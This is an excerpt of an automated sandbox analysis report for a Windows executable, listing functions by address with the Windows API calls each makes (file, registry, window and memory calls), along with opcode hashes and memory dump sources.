Instruction ID: 59ac3629b8f45f7a6bca1b57e2bf54285868c68ba6336e642f1ef9b7bb8d2b05
Opcode Fuzzy Hash: 9e73aedc2ede48524128b4fba7c94cddd86b5e43f4b9cee2e76a3e9f018a4363
Instruction Fuzzy Hash: B2F0DA762042019FC740DF6CC8C488A77E5FF89255B5546A9F989CB356C731EC54CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0042CBA8 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,0042CBF0,?,00000001,?,?,00000000,?,0042CC42,00000000,004513A9,00000000,004513CA,?,00000000), ref: 0042CBD3

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: fb728ae1967c572744be537d183b1c2397660519459ab9e6793d4da77068addf
Instruction ID: dfed850972a7f4cfed0b3d6ce6ead54829112a593105f6481b619d55be1254e6
Opcode Fuzzy Hash: fb728ae1967c572744be537d183b1c2397660519459ab9e6793d4da77068addf
Instruction Fuzzy Hash: 1AE06571304708BFD701EB62AC93E5EBBACD745714B914876B400A7651D5B8AE00845C

Uniqueness

Uniqueness Score: -1.00%

Function 0044FC9C Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 0044FCDC

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4695a6fd859b23d6e05288b159f4db2c373673df207a75ef7933aba3ac402c35
Instruction ID: 6c681f427aec3a456f64e3edeb529b69c7e2eff4e0c15a83e21b0084e331bb23
Opcode Fuzzy Hash: 4695a6fd859b23d6e05288b159f4db2c373673df207a75ef7933aba3ac402c35
Instruction Fuzzy Hash: BCE012A53541483ED340EEAD6C42FA777DC971A755F008033B998D7341D9A19E158BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0042E670 Relevance: 1.5, APIs: 1, Instructions: 28windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00451BF7,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E68F

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: 860b655ccada46b5013a8742cf2038536e52ba062f8b3e277fa769ce81e13b95
Instruction ID: 7c82c80d86496392c3130c3e7de8882f0dfcc9e316fc406f93a4df2216b263d5
Opcode Fuzzy Hash: 860b655ccada46b5013a8742cf2038536e52ba062f8b3e277fa769ce81e13b95
Instruction Fuzzy Hash: 21E026617843112AF23514567C83B7F1A4E83C0B04FE4842B7B00DE3C3DAAEAD09429E

Uniqueness

Uniqueness Score: -1.00%

Function 00406300 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000000,004235EC,00000000,94CA0000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423B7C), ref: 00406329

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: ff94722aa4050723ad3f6c96c0112c9f8192a5aa4540eb1f1ae13447e7542d04
Instruction ID: 1d12608fc0467a25e6c73015cc4d191371d7057fe5102c86e19c90aa3d4ae925
Opcode Fuzzy Hash: ff94722aa4050723ad3f6c96c0112c9f8192a5aa4540eb1f1ae13447e7542d04
Instruction Fuzzy Hash: 4CE002B2204309BFDB00DE8ADDC1DABB7ACFB4C654F844105BB1C972428275AD608BB1

Uniqueness

Uniqueness Score: -1.00%

Function 0042DC1C Relevance: 1.5, APIs: 1, Instructions: 26registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 0042DC48

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 4676b834bccda8ccd94f8a4f379db04665fbdc7bc7b85aab9c145464b6c6dbba
Instruction ID: 5aa87c08ff8936fcaaa84cf50ff31e6a06e3de0a8084b04fc6442f63f77fe161
Opcode Fuzzy Hash: 4676b834bccda8ccd94f8a4f379db04665fbdc7bc7b85aab9c145464b6c6dbba
Instruction Fuzzy Hash: BDE07EB2600129AF9B40DE8DDC81EEB37ADAB1D350F404016FA08D7200C2B4EC519BB4

Uniqueness

Uniqueness Score: -1.00%

Function 00453438 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

FindClose.KERNEL32(00000000,000000FF,0046C394,00000000,0046D18D,?,00000000,0046D1D6,?,00000000,0046D30F,?,00000000,?,00000000), ref: 0045344E

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 427228486256767e00faf75f55361d34339d0a4a5d8c678e4eed14c482ba6ac9
Instruction ID: f2f8a632f0a2160e68271c263a111a4b86933883cadac8f3c7310e18fb689ea2
Opcode Fuzzy Hash: 427228486256767e00faf75f55361d34339d0a4a5d8c678e4eed14c482ba6ac9
Instruction Fuzzy Hash: A3E065B05046008BDB15DF3A848025676D15F89321F14C56AAC58CB3A6D63C840A8A56

Uniqueness

Uniqueness Score: -1.00%

Function 004145EC Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(0048F91E,?,0048F940,?,?,00000000,0048F91E,?,?), ref: 0041460B

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 6e76042b9040d81ea616cca6ecacd77bc76811df147480a1eef497ac36b7c045
Instruction ID: 3a83c41fa5c3d176b15f2666d2672a78f9af76d4247255e2ff0bda4df6ea0631
Opcode Fuzzy Hash: 6e76042b9040d81ea616cca6ecacd77bc76811df147480a1eef497ac36b7c045
Instruction Fuzzy Hash: 59E012723001199F8250CE5EDC88C57FBEDEBC966130983A6F508C7306DA31EC44C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00406E78 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00406E8C

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: f93223040538cb60598dc4cf3010d2a684b40fa1b5059103e17c9242f0e749d0
Instruction ID: 5e9ef0cb41ef517b54198f539e7e4457f1ce254f1207c5e451c0fee893fabf4d
Opcode Fuzzy Hash: f93223040538cb60598dc4cf3010d2a684b40fa1b5059103e17c9242f0e749d0
Instruction Fuzzy Hash: 3DD05B763082107AD620A55BAC44DA76BDCCFC5770F11063EB558C71C1D6309C01C675

Uniqueness

Uniqueness Score: -1.00%

Function 004235BC Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00423568: SystemParametersInfoA.USER32(00000048,00000000,00000000,00000000), ref: 0042357D

ShowWindow.USER32(004105C0,00000009,?,00000000,0041ED14,004238AA,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423B7C), ref: 004235D7

Part of subcall function 00423598: SystemParametersInfoA.USER32(00000049,00000000,00000000,00000000), ref: 004235B4

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: InfoParametersSystem$ShowWindow
String ID:
API String ID: 3202724764-0
Opcode ID: 5af24b6df55da37d4c3611fee004674b9993ece864ba4c629d2fd79d04b893e1
Instruction ID: 6e8deb3ed7ffb4c54c7bf11bddd21d475954711d807402a63cfbe74293682e9f
Opcode Fuzzy Hash: 5af24b6df55da37d4c3611fee004674b9993ece864ba4c629d2fd79d04b893e1
Instruction Fuzzy Hash: 03D05E123812743102107ABB280998B42A84D862AB388043BB54CDB202E91E8A81A1AC

Uniqueness

Uniqueness Score: -1.00%

Function 00424234 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(?,00000000), ref: 0042424C

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: c34688b727229efcedc1f2997f44e421d28f5fd8d0fc977b3f59e8ef08dab085
Instruction ID: a3b20f4c882213fa23ff33249cd178fa67041ba6f44abe22b1f00704e939aabb
Opcode Fuzzy Hash: c34688b727229efcedc1f2997f44e421d28f5fd8d0fc977b3f59e8ef08dab085
Instruction Fuzzy Hash: 4CD05EE27011702BCB01BBED54C4AC667CC8B8829AB1940BBF918EF257C638CE448398

Uniqueness

Uniqueness Score: -1.00%

Function 0042CC00 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,00450A53,00000000), ref: 0042CC0B

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 696c079d1e659a807bafa968d47e5a3e4cea9be412662ea6c9d5bc89f686c2e0
Instruction ID: 3d474633da5dc292dd1e9b08acfa0ea7ef8e6560f0837aa6ac70ccb6d2902417
Opcode Fuzzy Hash: 696c079d1e659a807bafa968d47e5a3e4cea9be412662ea6c9d5bc89f686c2e0
Instruction Fuzzy Hash: 42C08CE03022001A9A1465BF2CC511F42C8891827A3A41F37F53CE32D2D27E88A72428

Uniqueness

Uniqueness Score: -1.00%

Function 00462FEC Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,00000000,?,00463C58,00000000,00000000,00000000,0000000C,00000000), ref: 00463004

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 1170af52fdfa1b22d402febd08e71c9ecbcd6356f79449625b478cc807a9fefe
Instruction ID: a3a9c25b9c80179eca176ae0059a0aa24e3542550d9dc9bac8dced773014ab2a
Opcode Fuzzy Hash: 1170af52fdfa1b22d402febd08e71c9ecbcd6356f79449625b478cc807a9fefe
Instruction Fuzzy Hash: 0ED09272210A109F8364CAADC9C4C97B3ECEF4C2213004659E54AC3B15D664FC018BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00406E28 Relevance: 1.5, APIs: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,0040A834,0040CDE0,?,00000000,?), ref: 00406E45

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e13d03deedc56d39d84402585b6acf1c1ff9e47572f9c80b557e16e39ce6cc42
Instruction ID: fbce42704b7dd2fd8be74a622cf743b4adaa06f64be9adac3ea2875d17ee2119
Opcode Fuzzy Hash: e13d03deedc56d39d84402585b6acf1c1ff9e47572f9c80b557e16e39ce6cc42
Instruction Fuzzy Hash: EAC048A13C130032F92035A60C87F16008C5754F0AE60C43AB740BF1C2D8E9A818022C

Uniqueness

Uniqueness Score: -1.00%

Function 00407210 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(00000000,?,00491C72,00000000,00491E45,?,?,00000005,00000000,00491E79,?,?,00000000), ref: 0040721B

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 116f646fca034a371e6a5c157b9d4efecc0deabf7e2bcd6bcee3aaaef58023bf
Instruction ID: c18bf430a4858a09d5fd0626d157798880aaaa8ea81a5298b6cf69089c3012d4
Opcode Fuzzy Hash: 116f646fca034a371e6a5c157b9d4efecc0deabf7e2bcd6bcee3aaaef58023bf
Instruction Fuzzy Hash: B0B012E03D161B27CA0079FE4CC191A01CC46292163501B3A3006E71C3D83CC8080514

Uniqueness

Uniqueness Score: -1.00%

Function 0044FE04 Relevance: 1.5, APIs: 1, Instructions: 11fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNEL32(?,?,0045A666,00000000,0045A7F1,?,00000000,00000002,00000002), ref: 0044FE0B

Part of subcall function 0044FB8C: GetLastError.KERNEL32(0044F9A8,0044FC4E,?,00000000,?,00491CE4,00000001,00000000,00000002,00000000,00491E45,?,?,00000005,00000000,00491E79), ref: 0044FB8F

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorFileLast
String ID:
API String ID: 734332943-0
Opcode ID: 2e48029344297d65debf6e871ad896209e8586a13361bc78737a523636087be7
Instruction ID: c068c6aabe38557252dbc7cfbc7370f277f9ebc01c0ea26a9f887d834500d39f
Opcode Fuzzy Hash: 2e48029344297d65debf6e871ad896209e8586a13361bc78737a523636087be7
Instruction Fuzzy Hash: 2CC04CA130050047DF11A6AED5C190763D89E4D2163544176B504CF217D668D8184A14

Uniqueness

Uniqueness Score: -1.00%

Function 0042E24B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,0042E269), ref: 0042E25C

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 7fad5ebe009d69c2099675b3e000f1c062c351dec5b4fb3cd432c824ae70c241
Instruction ID: b0804e078831a813d9aa2463563e291fc03c9a68ee142e2bda9a21ea894dad8b
Opcode Fuzzy Hash: 7fad5ebe009d69c2099675b3e000f1c062c351dec5b4fb3cd432c824ae70c241
Instruction Fuzzy Hash: AFB09B7670C600DDB709D6D6745552D63D8D7C47207E145B7F001D2580D93C58004928

Uniqueness

Uniqueness Score: -1.00%

Function 0041655C Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

73A25CF0.USER32(?), ref: 00416563

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15102f7382d34fed751781a5022c55e4c44b9a191595ad2a6c0bef55f1a25186
Instruction ID: 444a78761fbc6a727879d8c4239369b0bde5fc0390465f01f64749401816922a
Opcode Fuzzy Hash: 15102f7382d34fed751781a5022c55e4c44b9a191595ad2a6c0bef55f1a25186
Instruction Fuzzy Hash: CDA002756015049ADE04A7A5C849F662298BB44204FC915F971449B092C53C99008E58

Uniqueness

Uniqueness Score: -1.00%

Function 00447FBC Relevance: 1.4, APIs: 1, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f2ac44561df58c1130f0e00043173dc2e2ecdcc2ac39e257b7ae57b123e96e8
Instruction ID: 3d9dac49d769706550815f3fb3cd696203b03cba94e1f0501d82b18e9078b8ff
Opcode Fuzzy Hash: 1f2ac44561df58c1130f0e00043173dc2e2ecdcc2ac39e257b7ae57b123e96e8
Instruction Fuzzy Hash: 7A517770E041499FEB00EFA9C882AAEBBF5EB45314F51416BE504A7351DB389D46CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0045BF90 Relevance: 1.3, APIs: 1, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0045C020

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5f673916f2f1a7bd541b0d62232f8ae55c9ae3956016ff461948b8aacee5762a
Instruction ID: 7372c421533d8f65bf23ff6fb62ce760878112a7f7dadb819c72ada28c104ff7
Opcode Fuzzy Hash: 5f673916f2f1a7bd541b0d62232f8ae55c9ae3956016ff461948b8aacee5762a
Instruction Fuzzy Hash: 4C1133716002049BDB10EE59C8C2B5B7794EF8475AF05446AFD589B2C7DB38E809CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041F334 Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00000000,0041ED14,?,004237FF,00423B7C,0041ED14), ref: 0041F352

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 25b8e2896a406469b6f6139b27e4eef2d48fc4beb07379a7f64976553b5074da
Instruction ID: e05957f4d255e36abe150b4c83bb7920b28d063535c27f5b5ffcdbb78f87973e
Opcode Fuzzy Hash: 25b8e2896a406469b6f6139b27e4eef2d48fc4beb07379a7f64976553b5074da
Instruction Fuzzy Hash: 13114C742407059BC710DF59D880B86FBE5EB99350B10C53BE9688B385D378E946CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040170C Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,?,00004000,?,?,?,00001B1C,00005B1F,00401973), ref: 00401766

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 73967e57ec88561925e751cf3b04359846007a52136d561720e1a1017b553e6f
Instruction ID: d642a266e39ce0e7ed3a16981b1f18689788e3c7e0ce9d7f944c9fabc33182c4
Opcode Fuzzy Hash: 73967e57ec88561925e751cf3b04359846007a52136d561720e1a1017b553e6f
Instruction Fuzzy Hash: E90120766443148FC3109F29DCC0E2677E8D794378F15453EDA85673A1D37A6C0187D8

Uniqueness

Uniqueness Score: -1.00%

Function 00451948 Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,004519B1), ref: 00451993

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: b822ffd6bab2ceeebd4ee60c556d267bab9060fc5fbf9a5dc2e8634a343b25ff
Instruction ID: 105945ddca3cabd7714cdb0ae074d91085a40d6b67da20b4593713f233405893
Opcode Fuzzy Hash: b822ffd6bab2ceeebd4ee60c556d267bab9060fc5fbf9a5dc2e8634a343b25ff
Instruction Fuzzy Hash: 740170756082486F8B00DF699C509EEFBE8EB4D72071083B7FC54D3791D6344D05D668

Uniqueness

Uniqueness Score: -1.00%

Function 0045BF38 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,0045C016), ref: 0045BF4F

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
